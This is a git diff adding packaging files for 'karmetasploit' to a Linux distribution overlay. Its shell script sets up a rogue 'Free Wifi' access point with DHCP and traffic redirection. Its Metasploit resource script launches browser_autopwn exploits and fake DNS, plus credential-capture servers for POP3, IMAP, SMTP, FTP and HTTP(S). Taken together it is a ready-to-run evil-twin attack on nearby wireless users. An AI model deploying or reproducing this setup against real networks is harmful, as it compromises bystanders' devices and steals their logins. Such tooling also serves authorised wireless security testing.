diff options
author | BlackNoxis <steven.darklight@gmail.com> | 2014-02-15 23:24:26 +0200 |
---|---|---|
committer | BlackNoxis <steven.darklight@gmail.com> | 2014-02-15 23:24:26 +0200 |
commit | 7224c1253228e5c29c78cb3f0f26ce34770f2356 (patch) | |
tree | 1684924656132935256e034f35f92abee6623265 /net-wireless/karmetasploit/files |
Added ebuilds for kogaion desktop
Diffstat (limited to 'net-wireless/karmetasploit/files')
-rw-r--r-- | net-wireless/karmetasploit/files/karma.rc | 80 | ||||
-rw-r--r-- | net-wireless/karmetasploit/files/karmeta-dhcpd.conf | 16 | ||||
-rwxr-xr-x | net-wireless/karmetasploit/files/karmeta.sh | 34 |
3 files changed, 130 insertions, 0 deletions
diff --git a/net-wireless/karmetasploit/files/karma.rc b/net-wireless/karmetasploit/files/karma.rc new file mode 100644 index 00000000..b98a27b6 --- /dev/null +++ b/net-wireless/karmetasploit/files/karma.rc @@ -0,0 +1,80 @@ +load db_sqlite3 +db_create /root/karma.db + +use auxiliary/server/browser_autopwn + +setg AUTOPWN_HOST 10.0.0.1 +setg AUTOPWN_PORT 55550 +setg AUTOPWN_URI /ads + +set LHOST 10.0.0.1 +set LPORT 45000 +set SRVPORT 55550 +set URIPATH /ads + +run + + + +use auxiliary/server/capture/pop3 +set SRVPORT 110 +set SSL false +run + +use auxiliary/server/capture/pop3 +set SRVPORT 995 +set SSL true +run + +use auxiliary/server/capture/ftp +run + +use auxiliary/server/capture/imap +set SSL false +set SRVPORT 143 +run + +use auxiliary/server/capture/imap +set SSL true +set SRVPORT 993 +run + +use auxiliary/server/capture/smtp +set SSL false +set SRVPORT 25 +run + +use auxiliary/server/capture/smtp +set SSL true +set SRVPORT 465 +run + +use auxiliary/server/fakedns +unset TARGETHOST +set SRVPORT 5353 +run + +use auxiliary/server/fakedns +unset TARGETHOST +set SRVPORT 53 +run + +use auxiliary/server/capture/http +set SRVPORT 80 +set SSL false +run + +use auxiliary/server/capture/http +set SRVPORT 8080 +set SSL false +run + +use auxiliary/server/capture/http +set SRVPORT 443 +set SSL true +run + +use auxiliary/server/capture/http +set SRVPORT 8443 +set SSL true +run diff --git a/net-wireless/karmetasploit/files/karmeta-dhcpd.conf b/net-wireless/karmetasploit/files/karmeta-dhcpd.conf new file mode 100644 index 00000000..7c1a2c6c --- /dev/null +++ b/net-wireless/karmetasploit/files/karmeta-dhcpd.conf @@ -0,0 +1,16 @@ +option domain-name-servers 10.0.0.1; + +default-lease-time 600; +max-lease-time 720; + +ddns-update-style none; + +authoritative; + +log-facility local7; + +subnet 10.0.0.0 netmask 255.255.255.0 { + range 10.0.0.2 10.0.0.254; + option routers 10.0.0.1; + option domain-name-servers 10.0.0.1; +} diff --git a/net-wireless/karmetasploit/files/karmeta.sh b/net-wireless/karmetasploit/files/karmeta.sh new file mode 100755 index 00000000..f163e481 --- /dev/null +++ b/net-wireless/karmetasploit/files/karmeta.sh @@ -0,0 +1,34 @@ +#!/bin/bash +echo "karmetasploit script by kingtuna: super ultra mega alpha version" +echo "warning: this currently leaves your system in a funny state." +echo "you may have to remove monitor interfaces and kill dhcpd and airbase-ng manually" +killall -9 airbase-ng dhcpd +iptables --flush + +#airmon-ng stop mon0 +if [ x"$1" != x ] +then +airmon-ng start $1 +else +echo "Please specify a device to use as AP" +exit +fi + +#modprobe tun + +/usr/sbin/airbase-ng -P -C 30 -c 6 -e "Free Wifi" -v mon0 > /dev/null 2>&1 & +sleep 2 +ifconfig at0 up 10.0.0.1 netmask 255.255.255.0 +ifconfig eth0 up 10.0.0.1 netmask 255.255.255.0 +ifconfig mon0 up 10.0.0.1 netmask 255.255.255.0 +route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1 +sleep 2 +LEASEFILE="/var/lib/dhcp/dhcpd.leases" +if [ ! -f "$LEASEFILE" ]; then + touch $LEASEFILE +fi +/usr/sbin/dhcpd -cf /etc/karmeta-dhcpd.conf +sleep 2 +ifconfig at0 mtu 1400 +iptables -t nat -A PREROUTING -i at0 -j REDIRECT +/usr/bin/msfconsole3 -r /etc/karma.rc |